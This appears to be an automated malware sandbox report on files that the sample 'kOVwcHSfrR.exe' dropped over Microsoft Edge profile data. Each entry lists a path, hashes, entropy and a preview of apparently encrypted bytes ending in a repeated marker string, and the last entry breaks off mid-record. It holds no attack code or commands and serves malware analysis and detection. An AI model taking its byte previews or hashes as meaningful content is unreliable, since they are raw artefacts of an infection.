Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.756844641592338
Encrypted:	false
SSDEEP:	24:8d8tToTQd2Bs0x5hScD3ubmv4AQTeqew1bD:DoO21xzScy44LxeyD
MD5:	E9C086E740806875B826FA25558CA2AB
SHA1:	54BAEB4C686D12F606ABC3E8923E68E86C0EBFC8
SHA-256:	6A4171A5AABCAF6F85AB3A3C711F4E4AD312DF7B7A5AF96EDDF480E54FD01332
SHA-512:	DC092E86D1620E96A964E78008A0CB5782E259450AD822AF23E0EF7EEF72BE3E78BD29453368B36A115CEF68A3312C4627968C08BF8475D372D00B8DA71B7D20
Malicious:	false
Preview:	1,"fuO.6.-.=^....9.4.&.....T.....M...%...&.H....p....g..._..~..}.D\|.?o+#..7..a.....$..jD.(..:....:c.t....#.V..t.._....,)...d..,R.....k}\|...I....x..W.^ ......."..a..sa.!...p.i...........:k..w.+@.Sr.K_=`H.G..z.{... .]......l.5......(...J..a......H7...!...U.\|........%Td9.....W.U.J.ma...... ..A....D.@O.......%.q.E;mm-C\|........ZY.s..s........\|..-...p..P.9.#..{.n.m.p.....N......q.y.9.N..o....m...%.."iw.\|E......"].iE/mj.w3..W.}s.......4GTi.uJ.T....M..kA.7.c....o....Z..N. ..iu.w.l.....G.7{......!7..e.A...khs.!.Q.....n..L.. ..hs....]....R..1}r.jw-..$.%...x"..s.ef.....;..HH..A0,V.&.rq.5.....H..Wl.._A...i...Y...........P...B..n....^B.A..t.RXk.u.FK..cd..........h...:.......ck...d..Y..z..[.}1?T.!...T..P.S8h5.B...Qi......@......S..[.hO._.X........t......v.g..7R..q.?G....0u. k6......T*......5...;#....G.T.....S......{oH...$[....`NG.y.6.w.A..I......m..X.>.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.345924966394369
Encrypted:	false
SSDEEP:	12:E3gkDtAfuOfqv83qABzv4u1aIOpoqw1cii9a:sDDROfU83qABzXYIww1bD
MD5:	6F7FDC0CE0A7C30F6455A96B55E593F0
SHA1:	EA2D77F2DDFEF5461903CC75DF93B2F0D311F34C
SHA-256:	ECA3CCA8D600079485C913A23BC53B82F834CBCC53B0BAD36FC4DD1800AF5226
SHA-512:	733C4011868DC40DBFDA732FE671535F640CDEC2E777155706E2C698B819648A5AEECFFF3951E7E7D4977BD59FBB2B43BF3B1F8FE441B03060298EE006514A55
Malicious:	false
Preview:	1.8BF...li6..bDE.5....jS.s...'1V!...l!.5i.(.dKm,.8...i.w/.M2.....9.M....].P....1.....-.Wu..84.....C..6...b.<JdfuCD~.tH....3....y.......!.F..v...0>7.g@.(e.Ky.2;/9U.J$Q...+....]h....u(Y.Gj..\.p0)D.g.Q.4...V~>...b.GX.3....&z......1..G.....Nd=S......0}.....>.DN#^..f..w.'h...h.5.j.. ..cs.3..c.N..v.....h`.YQ.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.474489835437198
Encrypted:	false
SSDEEP:	12:R1eMqsTKigLRGluSsctmCogWQOPgPmWQFYgsoqw1cii9a:feMjLgAGphNpYZw1bD
MD5:	172AD4E8C12D3AF7026349BA8A3AA491
SHA1:	41828EF80A9F6FD19B81D122D7021ECCBE6DF557
SHA-256:	B4E75AD3DCF3F142F420433163FD40A3BDF9F9460487B50FBA69D368D40B60AC
SHA-512:	45834F1BC5332A1FCAF1332E30918000C95D95AE0B19D938ECB5381945D0B4A5C2D430642B8EE9719BB5BF298DAE8EDCA7195B6B6DB40098788B7BCC9C0E0171
Malicious:	false
Preview:	{.. .'...7++2.........O...U!....v..../.Q.E..L..f. ~.@..=ZxI...r2.....&...[-T.t.z...U..3.{......`.\./3>..m.7.....9%Z.P.~..(2...q.....7.B...:f.\.:.i.MC..yp....l...7.........D......B0...C...!.N."..\......}..$.....:..&..n...rH............~.Sx~Q..E..{...`,...pxg.c..t..cq.^..t.nt....2..<..P...g.A/.6[.E.3<y#......8F...<...=..c.....1?J.qX..&.{.-..]Z..B..9..HK....;?../.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\protocols.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3498
Entropy (8bit):	7.943858428752207
Encrypted:	false
SSDEEP:	48:ufwc9tShZym8fTmEQODoHgfZPEirGXXIcqzdOHd4q6iWrGLiOmcS9uRmcFX1rJyD:ufwc9t5RfaBODxZPfGXkdOHdtB2O9F1a
MD5:	3127DE090F3DF531CEF6C80BBB714EF3
SHA1:	430908B1EF328D52DAE3668170B256271A7E1030
SHA-256:	3CB819AA21A4727BC1E423EA6212643D9878FCD1F663B42BA530F8D0414C6478
SHA-512:	578CE703E66A9FC2B71B6D9F6DBD5DEFA6D6373901E3FCB3C8157CD7432DDC402F902C14B69BD28FB6C83DE9A5AD8E645DAEB680ABC9A0AE3051E0ED97A68CC2
Malicious:	false
Preview:	{.. ..V....p..A..O...RL......6...Y.,w..1.....o..o&.7...-R.-...>....f....o..K;h.z....dP.Z...B.~.z...D....\|z..fHt..$x...Q.\..z.R.B..V..B..D.5.X.j..."/.2..-..r:.".P.4..f..].....c.!...+y.+R[.....86...t.p.,i..w...o..&.'!.H...;1.~...{....x=V.Q.EX.i..9.......!..Qd.}@f.^N..K...C.....2m.D;...wj]..t..x...}.c...Er.K_..U....2..6..:~.....;....@..8..._....&....iG5.k...FKK.....k..7..._..1..zy.M.y.g.d....Sw.c.N&.....jG....%.........a.S.6.}.n.n..}#dt..).6..c.g...'...lr.f.@......P......g..Bi........g...nD.]..p...P.2h...\m..%..]0....'.)xl.H....RVd[`;..)8....fC.4l...V".r..6w..8tl..o~....RP.Wf.!.u...2.>....a.j}..U.9......)...U.1..4..%.\z!..\|c.".?...,N*....o]Z....S5sr^...-...x.A.......f.7/PD.t.7e..&.v..(}!.~...u.....w..mrP..#./z<.w.5Y.........mP..GA<..#9.........U#O..........1..>.....e..[+U...gR..\|w1...-=zx. hF&O bwjV..J....b...j-4....../........^...p.5V..&..%..zs....6[..,.z...\..F@...kY....$.m..bm....]!.7.....^...t...2....xu+.H...S..I..<;..@.e.+xq..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	218058
Entropy (8bit):	7.081168789451348
Encrypted:	false
SSDEEP:	6144:qoIXdtT1SS4amrcsVu6E2zqXpi8t5+zFFG1IrD:qocAS47cf2mXpNHtU
MD5:	14A7D78346C0BC3333453ACB6966E9EC
SHA1:	7AF03345261C8F48C65B5C548AF2BA5F4C02C4D8
SHA-256:	379FD2B5E09580269E5823D7FD814A4C3A064C3BBE2E21810F1D5818D600EC1F
SHA-512:	212FD3BDF0213B6DA3BEB215F44EDBD9069FA78672A89AD533AA5D99B808C3EA3FD6C643E7D761066906159121269F6A635586FD779B145BE6118724853B5084
Malicious:	false
Preview:	{. ..:.N.$g.......l.D5L...X(.....G.y.hdc<...7...&$.'.H..4Q......%N...,$..\tj..V..VT....F..o-.4......Q(%.:...D..%...j.R..........\+5]....yN.;.."..o.4._..Q.....q.1.........N.[x~=R.LO......o..H...d.z@!....q..7ra.z...d!v................]....q....n.,x/h.gz6pM.;yb.r9........".I.G....(....O.....q}N...t....s.......b.:u....]..$.......q.-..4.pB........fp.....Q...t....[......K.d...H./.GV.....Jy...14....2.2 .....!!.........?.......P.....^..9..".I.!}x......-..t&...D$..U.G.Yt@. ..):..d.e.x....4....\.E.../f..d$...>........1...2....Uuu.;l.U^?.....8.......>.ZvI..(..jw.........~..O..J.y.!X.~.l.G..=.....a.]ea/...L..XQ j\.P.O.'.}\./%.s.....'..{..0=..2j...q5.C.?..5.EB..u..........go...F.....^..8.%...i.[TQ....*D...q.......r.ly.X..es...U#>.I.d.[...CY....N4..Ne&.p...$.:d-.......R.6(ji#YL.Er..S.E<;"...$..#.<~....\!..r....8..9.}.E..b.V.&.\|........P......V...7.....j..X.q......m.V..NgY4. NL.)U.g.2<....x..%._..Z.......eZ...9..W.P.4..-X.UmM....jk{h6.A..v.(A].

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_global_block_list.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4729
Entropy (8bit):	7.963176751676171
Encrypted:	false
SSDEEP:	96:XwmsZchwxa38z3Xng8akaR/YJC8uDWfk9nsQ6gS/QCZnCQaD8LXtwqMaPa:fsZcea38SzRjJWMGQS/QwCQawRw0y
MD5:	9C9281E5953A9871CF0101BC40FA08C4
SHA1:	2D4989789A055BC342ACF5D9CBDFB521EB9A5AA6
SHA-256:	8B9D166C4DC50E481F60843E365C021B76C9749A161D07F3F564A30FDA05EF15
SHA-512:	44E2A2CC93C386BB0DAFC155A471A267A8746C231BBA17FE34B559704ED12875B71712B279ECE11F19D91ACFCF29F758669F6EB9AA7C0C8A376E4641E388C7BC
Malicious:	false
Preview:	{.."g.k......... .9F-...K.e...`q.x<p...4.e.`. ..n@..MP.!yp..U...2.../.h.7..\|.c@.y.ET......F.....m...a:q...J.=U<...U.r.z`s..a....rY...a...(....m..Np..L~.C..J}.B\...$.!.B........p...&...>......-/..9`........ p.....#.+....`..].Tv.~.m.....5....(=Ff..Bot..:.^'.J.......S...g....!9...7..zl....N...M......`?..i......Z.9.Q.......L.wiEp]...".F...$.lN_....... ...H<.[~.......y....g.N.N.._.%..$y..=.....DZ(bc...d.f.?....w.rI..../... /...9\.z..4..f._p^$;...}..PE..r..............'..,...w8..MH...E..F_..._....Q8...../.9.AE..s.Mkv....l.2..k.<.OH..u..2..I..c..i..r...N.<..f.p(Q>P$>D1.+.G....t`...l..`h.........z.q.....jZ*..k.S.K.7.8n.g.R...E...j....#.t..@z.WU..:.R.&.T...6....K.V..M.gQ.{../S...Q....t...L..:E..s.^......F\|~.. ...1y%./.<...j..NI...u.6q.Y.O..-.@........W%.u..8...X.!...n.&...7..fS....!....9ad.......<X...Y........q/./.L.T.$P.5V._.Iy.A'......YL......:..atI_B.?......3...dD....(.K..Dl... noN.~w.).T.zd0....dy.+.r..O..r...'C...0Q...ilb.0PX.....6+s.......I...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.372828081130326
Encrypted:	false
SSDEEP:	12:k809TsMebspp10Qsh8OKFtqHhsgnoqw1cii9a:k8MIMxpVs2ZPg3w1bD
MD5:	7E1AC0E9219BAE759C4C6A5B061D6428
SHA1:	B01A35C59547B6C3AB2B534FC67919E19D14941A
SHA-256:	0D1886F6FC3E1DCAE546A8BCA046E5D8BCFB24430A5D71257FE288D6854EAEDF
SHA-512:	5B19A8BB2BA88F7B73A4F0A72B140B4A5B159939FF8F24B62B157935C280553890059AE2A6698A8CD59660ACD19199BAE1A334386560628E6A30F86390C5688E
Malicious:	false
Preview:	1.1ED...s..h.vM.oV#....4......_.t...Dp>.N..{....!xeD....I........."..UK.$a:.uoj_......b.^...F,...1.&.Py...I...R..U.^.1N30.>.._2...`V....2........W.m<.........&..].N..s.uB...8.EI....L.....Wg...5.U.......h..g...)-(.8=./u[..q.;./rO..M..+.\..9`.(;..H..\...r?.F..:.">........[:.....ha_.i.s`.\.....R..R....v.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.448617085935553
Encrypted:	false
SSDEEP:	12:MOmTQbT3l/LnN3PDzk41acqmfahAiXB9boqw1cii9a:MOmKrl/Z/vesfaminw1bD
MD5:	D100CEA1CC10EF578E66862956C4FCC0
SHA1:	CF4280CEE55BFE1D4B6EEC219595782B777DAE55
SHA-256:	7A85B3EA17CA21A2C8219481C5536A39748699E6DC54EA769FDFC17B9F06F3A0
SHA-512:	41AECF8DCA5B025DCC8955E07138AC4EC56F7B064D5D5E2FCA3A98711751A5EC2E31A94327546E371F4626377DC91DDFB35487CD09D0C7EC336658820C262B58
Malicious:	false
Preview:	.{..*.ty..9...z\|l...Nk<R7s.?.5_....>..$Q...+.k7P..y-<..]..!.H.Vyj....c.Iu...+h7..9j09..HP....bI......08......6..../..."..;}.......Zv.M...b<mg\.....a..h...0......e..2...B...t..?]X..Z....qQ%7.....=.........A.{vP.........2B.E.o..U........cLsi^...K#.t\s);e\+.v.Z.u..v......N.j .....3q...!9.i.e8...oU.[3.....@.....?.......d8p:.U. ..f..o4._D...%.(Vz..F..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\regex_patterns.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	534
Entropy (8bit):	7.591990256200836
Encrypted:	false
SSDEEP:	12:bPYLxwnNYT2NZvM6xFr1Wa3dBrE3Dcoqw1cii9a:0LgNYT2TMk1Wa3dG3DMw1bD
MD5:	F7C73ACD421DCEBCE76AF7170E758DC5
SHA1:	30E2CEA8AA82DBB7C16897D376AAC12574454354
SHA-256:	22A0D68F01FD299C43230FB42F42A19B0E54983F3649F79F19B3AE2E4512A4AF
SHA-512:	643BA2D5BAD4BC38A36AEADB31B6F6C350EEDEF10CC8199972F98FB62F47404F302482BDFF7C146F342DF727D79C42494295534316DE66C83D7BC91816DF5F4B
Malicious:	false
Preview:	{. "X..^..m....@...R.....U.R.....L...=................Zp7......?=...}i.U.n{...6.......h.!.I}..~...3..l.=...N\X}..t........`S...yQ.Y.h.t.....~N...X.6edrX....%...D.I.V.)...F...5s..}\|:3E..=.............T..3..wx...S.....%BS..._(.Pa..........\|..0V.h....W....}l...}...\|...c.....w.Y..H....M.+.-.taj..TfDf..2.A.* .b%..Pq...mjS..j.nH.k.6:..Y..m(?....+...f./.QG.r..pd.?...s<.3.J&,...U..#O.......w......Fz....4-s.W....k..+:.\.".'..,g.,p.R...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	520142
Entropy (8bit):	6.028474985977577
Encrypted:	false
SSDEEP:	3072:2u5mFnL6F0Pf3nRpcfGfKsee2hCOW1G9bzGsM24z89bsojL9Qr43d7Q/L:2Em5q0PfnReIKsX2ha1YHGxGbNRQ8RmL
MD5:	8D4D47431E229C92FF4BCE8D5DECB200
SHA1:	EC07213F223FA7AEE57366F8AFCDC8967A82A49C
SHA-256:	9DD0A3CB8C4388AFD42C1E62FE68612531A3D8422739BF8CB822B9E060997DBB
SHA-512:	9A0483281071C08B199F658B0104AB7EC0FF08140866A5C2F507D039AC7A63CAEABB8A0D978A30758252B73880668CA9BEA94C2E3945A57F746399C6DC8F91E5
Malicious:	false
Preview:	{. ".$...E.._..2g....nZ/......w...4R"E..;.{8.....\..W...N....._2.y.e.+.C.{...5\|y..3...08.z.D....\oH...R...T..d..k.......!P.(....u.k..pB.-..k.c.+Zs&.....D....................U...k.3.E...W.;.....M.v.b.W....I.-..L....:..u..{.$:..`nm......".\.3....Mm.,......B.P%..z.)...)..s.vt.y.5.D.-.<.4......j..'P..EQ..O..2z4o.[.G.....7......W......B#..\..=.....h.9..k..<{o.W!....R....ymqS.........D....s....op.1M..f.....8.....r....\7.c.6....i...J>..@<3[...pV.M.8...EN.+......uO......3^.... ....".<I.h.?p..i.. .$..._...4.#x..:.`..B.[.....M..F.>.Y.<.>3W5.\|A.....$.j.\|a...^WZ...!o,....@..n....t...%t.j..6k.US<.. .......V......!.t.-.'..2O..9f.sz.F.-C..O...Np..Pz.....J.3.(\|.qK?...@.N.i.....[z....5.%B5........I.....u..,...JL..;cP.I....:g.Mq.V_..1{.ezo+2.W.(..(B...7.8..<b`.F.d&K.n.. ..?..A.6V..p38[......N.>K{.............Vm.....rX>.T.3..]x>.Y......\|..E9a_m...F...C..9N.x..S....1I.n.G.Q.I.m...[OQ.T..K...f.....~..!x@9q...j...;s..J......='...9.Z..#.!O..B..B.)T....a...[5m.u

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.439867213517735
Encrypted:	false
SSDEEP:	12:wyOIqlxXmOWbDwxGMJjPewrChOMJoqw1cii9a:wyHqxIbkGMtPTiw1bD
MD5:	7508C432C0C74C4460F6B524991FBFEA
SHA1:	62E663DCF778E8B49414EC9883860ED3CECF7B96
SHA-256:	59BA7FF706C5ADA01E6E49CA3E1ED5181537CE889F5804FCCF2F13B7C8BD8346
SHA-512:	63FD013B88A29C4A0086A403273F74022D6CBD9A49C38958789EEAAE8CB177C9DDF3BCB74B58D8325AD446B6BD63D44AD45AFCA9EA9CBEA55089BFF114C07D58
Malicious:	false
Preview:	1.44CD.........M.eJQfW.......d...R........$'}h.}.-W.P..H..;....F4. 9~.....;Qw.m...o..4...j..jT.....xm8.!..n.R...>.h.'...[<......6..WW.I....$...H<......-..T....k%......^...!..4~........q../....Jo.v.4..0)L..........K._DG...nO.,.f..=Bl.(....?p...."&..V.....c.t.V.B..k.f..rb...^T.J...R$S......f...@h.k..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.490594502354122
Encrypted:	false
SSDEEP:	12:/DBZaQ+UGcL1vP6XA8ccIDLFVTM+vWMec3oqw1cii9a:7yk1H6XwD55PWMecnw1bD
MD5:	C165C412E2C5F2A5718F2A693EFD2DAC
SHA1:	7EA3B867A3E0FABF6C16433414B2E0F9A686297E
SHA-256:	C874AED63140607D6C29C45C06F531DCAB447813CFED7F943228F3308DEECD32
SHA-512:	7D9128197A42B9869DD3B5142F90410C09563C63AB35DA743C67BEF540AE6A4970A9C0C8B899BA091829AA6ADC02BFB005F423BB14234539AC5AE5E6ACE7BE75
Malicious:	false
Preview:	{.. ..5.&.T.....vS......\y........N(...3..1..P...M..u....n.Sk....m.iI\j.Yme...,.Z..\..u;.Z.5dZ..V...%.5.t.T_2$...>..Z.$.>......r...?.UW.=..gu:.9`E.....''i..,..O....)!....D..=x....+-..0!..s.8.s..~W(..2bS.nu.y...Y...l.G...F.E,..W.9...A.o....KM....d..[$...&.Q}.V../...H....K...6o....a..2.6`n......f./...W...H8>.Pj....qm......PK...z3.#y....s..y..9.s.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	480528
Entropy (8bit):	6.572273642322015
Encrypted:	false
SSDEEP:	6144:tW/dDXW2sxU5d1ZjaFTon9sZ0OG1yJG/dKWN:tW/dD1P5BjaFkn95pVN
MD5:	939A418DDACD85E65ABF8EEA91568FF8
SHA1:	2E430804C71D3143920616152045071AF381A9CC
SHA-256:	97DD8942420703E661E7AA6556CB3699D63403A16D484E59840B8E971FBBDD99
SHA-512:	09DC2A62C834E03E55715265A27BD9D8F9423E633967C642226D7FC1089CDB3E8F84CE7F9D4C324662C6CD12AA8321D45807CEC6E9729D4167D77A570D2085D7
Malicious:	false
Preview:	...m.zx.HJ...eA;...,B..lg..;]?d{_gk...R^.&..\.#.dV.F...'].x=.........k...O.....(..H.. =b.Qm.$_L=fK..!.5......<,...5.8 !..%FY.z^;B.&R>...U......Fc9.?.........b.=.7F`.P.Ws....INo..i...\|..G..Hg.?.?`....M.^._.4....P,..n....t..E.I.n.w...."......{k..[..~vj....B..3h.....%....s.7A2..Sbw.!..;....'.T.......-.\|>.R.7.D/:.......6{..e.S.l..3%....D.4.F[.e..'..D.l.L.]F?.&.G.tP.....D.q.J.l..[!.....+7?0..?Ff.........{....<..=[.E).<..w{sq....p.2.F...R.. Z.....7.4o.......lT.^>. VF...U....$5.'..B..g>...%.).t..?......]:O._...1J.[!....a.'.K^o..X.4..&.._O.....P.+._......e.m:..7.....N..X.C2..o(.$..>.%._.G0...7.G..I[.Qn..`..K...<..)..z[...d%.....W..-.....j.....b.zw.........u4(g..@..0.@..;..Y..C>..d.Y.qx.L HB-q. 7.2.x&}...%...1u2.F.....:.._\|....w/-C...AG._..Mq....o.ChK.._...WU..\.H..!..=~.BO.E....Z..mw..8m.4...m.....C~...,...s...."..yQO)..QX..VZ.....*@>....F.YSJ....Z[gj..4.G..b.....d...GQ.....Z.B.a../$.\|...p+.....E..v.9....4p.`....e.x.+9..V..L..C..C..4...=[....~_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	7.61951300370691
Encrypted:	false
SSDEEP:	12:k1ICSupfiLEs8Q0WIeKHgadTBMUbkQFiyWFkeYkEsCAtgBcUZKhgvDsoqw1cii9a:VCSim0WjKHg+9FiyWF0kEHhcVgL8w1bD
MD5:	7E41C03C5871628315A00BFAD6EFF6BA
SHA1:	21F8445E615512D3736444C8521C4E5B4635D865
SHA-256:	B7C4939B7E226AF3178090C7E440603DC464E4E3DD679781C44D3B96EF3397BE
SHA-512:	1ABED2CB373DB77FADE122DBF429E86D8197B7DB005CFC763790088D903686D0A41B22664FF31C020331FD65F07C0C31B14D1C139926B11DCAE1CCADE7C59951
Malicious:	false
Preview:	2023/h,.F["..V...^..=.....W...7..s.P.%Ix....,&q=.q.F\...[.zH ....\|.]H...O. >.....u......g.... =.?.....3....pNy..w'................1..3)....D..F....{.B.NM0...T...}..W.u.;.............D.cO^.d......q.....W..#K..0...F.......p''.MraRM.P..o.D......r.d~A.... ....~.S...l....."$.T.....4....3Z9>.$.E.c.,W.0.....b...?g.E2.ja.G....^.`[Bo......S.J.f.....$`q`...;..R...C........po..x...d.-.F).p..~1Wz.........I.......A..}.E..$\|}.t}..o....$..0/."...9>.P..a8..l.<...I...q....R...3...P....4f.I].N..dL...d...D\|..'.y.).JU..M....Dha.O.z...0.a...W.......C@.x...(..1..5..O.Nz....).A.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.329802476581261
Encrypted:	false
SSDEEP:	6:ig2s5wJ9P0xH10z5ghPhHpY4KTIozkdz09+ph/N5G3wLtdtnN1nEVsowfw5XeWcq:Il7P07K5ghpJY4KTIoz6E+r/NYAZXN1O
MD5:	984836AC8816C99808B8DB15A90582FC
SHA1:	B60B9EEE08407B05D153E333D927A0954E74DAC0
SHA-256:	EF78018D357F08E897A731B9BE3CAC61BA9220547BD9FB144530106720DBDD84
SHA-512:	479A018C9825C3501078FB5006415E5E2894E991A71DD6817FE37841E7FB7E43DAA6F4C798CE196F083B133FE90B0037C3A8E696E0BAE387B496877C8EDAB75C
Malicious:	false
Preview:	...m....n'A.mg.@NNT...........2Q_.<..08.XO.{o\.b8F..m.3.Qz.......'........+...Y.C.........r....(..]j.q...iP.&~.y.#.?....).......T........l3{...{......q...........:4......Gsw.h....uA5$......."w....";\|..kal..;.d.#[R.".).#..I.-...yr.Q3Q6..P..EH$..F..\.z.#vO.H.h..U..>.k..&.)*..R..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	678
Entropy (8bit):	7.67047697649647
Encrypted:	false
SSDEEP:	12:kgeINRPH1V2WGiMIrMsCRleI1rP6YULrgU6EXmqqXkeHv12h9gity1QJtHONoqwd:zLxyIryRleI1rPcvgUhvq0IvwhhUaJtl
MD5:	390F7B7783FAB03FC4AF01ADB4BB21C3
SHA1:	5E4827F16E43D316C1A328CDF4B64C8A0C97F965
SHA-256:	9617F9533C6E039A42851D9DF2B12933107055356A4AFAF7F147244EDAC56B7E
SHA-512:	1D6AC618B3E66B65DE13F9185C8613BC399EDF85FD8E64B98515293249E3937E6DB511ACDCA8B6C767E3581715C66C88819CD7C83B86EA652A13E06F16531B08
Malicious:	false
Preview:	2023/"~...u.......?.....19!i..,.$.7....kt\.....]t.`=.=J5.d9..u......^.%.A.....@..04...,..$...~..V....3..oSs.4.......dx ..........P...\. v..\ZO...w.F\..H._A../4.t..9....^..`_..V........a.....5........a~,...w....O.Y.E..%..S32..._'..{....a..7....q.....iS...<0'.6$...........D.`8.Zf......n..b~....O,..!.Z1...LoW...I.p$.......f......._;$.XzuY.W.?..L....C..;.cd...k..p.i.0d.<1......f_[..&`.%.}!......p..k.._..D...6z.....H..v.wr...u.....ocV...j...H..X.T.g3n..Z..].pv.)..@R...(........ ..Q.pY......T)...km8.(..].........A..E...N..p.....z].......%....N.Y.{5...:T!....*WC.4TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994717052373879
Encrypted:	true
SSDEEP:	768:hfHDsZYgKTSS0dKYcta2HzGdCf7mu8xmQMRaPL9qkx939:hfAOgfdKJnHz0CjmbmQQazgkn39
MD5:	6F2CD3001A4445974FA0769C48E196DB
SHA1:	57B0056DF5137DC52F89496A6DE07DADF8508490
SHA-256:	6F1C69015AB989A09D6C94C5D0DC8D95214CCA3451E34E2951E02BFDAD2C0133
SHA-512:	1A2915C18BEEB537B8104837CFCB0938868269D0A8D1B6632F8D89473A1405637C3E10D81F3AAEF9586AD855E82EEF59275C4B84138F34D2D62F9A8FAE695F0C
Malicious:	true
Preview:	SQLit\...t....0...].y.Zq.[..@&.(.I<9.=.......9..;........w:.....-."(U.....7..."...'.r....F....{>...x>.[..i...7..v{0..E.:.......(.6LV..g......!Y...........d#.d.]....p.Nk.\o..,..F....^.....#....&..5.=....!,.....I.i.FG.....JH...~.`FN......>.?....a.....M......8...N....o.N\.E..Mk.....mS.s.t..s..9...lF.9.Vr7R.2..zrzSV.....Y.&...w6i...w%..Y..o.Jr.?v....ua...v.,.67+. m.{...a.E.....)#....e..7HCyo.Y.u.c)..M..xa6.3].>.....Q.Z....r.W.4.....T....3...6.0<....<MueE.{...}..s..z....N..I.K..v...r.S...0............>z....E..A.....C..bH.u.5.nu..Q.. .5......D/.i..eN.....Y....F...8PE...I VV.=>.c...'.. ..Bgi..bei...0.-......h......k.:j.Ue.l..nM.#.......Oi.T+(?.........w..#.>...7L.n[G_N.....a.V..J.a........H.<....?....6..;.kc..K..D.x.EO2T.D&.......j4...s.f.y.1-.'wH[j.w.;.5..u..X.,....sja....\|."...........s.{.F&....{..9M.!.nh.b.....4j...a\xY..!.E6.;.X.L.....'j1......9)..sQ.@...<...[.$.......(...t$41&.......\..........i.\...?B...}_W.g.....y..."Ng

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
